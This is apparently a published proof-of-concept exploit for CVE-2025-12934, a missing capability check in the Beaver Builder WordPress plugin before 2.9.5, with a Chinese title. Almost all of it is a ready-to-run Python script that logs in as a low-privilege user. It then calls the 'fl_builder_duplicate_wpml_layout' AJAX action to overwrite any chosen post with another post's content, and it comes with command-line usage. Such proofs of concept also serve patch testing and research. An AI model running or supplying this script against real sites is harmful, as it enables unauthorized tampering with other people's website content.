CVE-2025-12934 | Beaver Builder 插件权限绕过导致未授权内容篡改

# CVE-2025-12934 PoC - Beaver Builder Unauthorized Post Modification # Author: Security Researcher # Target: Beaver Builder Plugin < 2.9.5 import requests import sys def exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id): """ Exploit for Beaver Builder duplicate_wpml_layout function Missing capability check allows authenticated users to modify arbitrary posts """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the missing capability check exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable action: 'fl_builder_duplicate_wpml_layout' exploit_data = { 'action': 'fl_builder_duplicate_wpml_layout', 'post_id': target_post_id, # Target post to be overwritten 'duplicate_post_id': source_post_id # Source post content to copy } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Post {target_post_id} content replaced with content from post {source_post_id}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve_2025_12934.py <target_url> <username> <password> <source_post_id> <target_post_id>") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_post_id = sys.argv[4] target_post_id = sys.argv[5] exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id)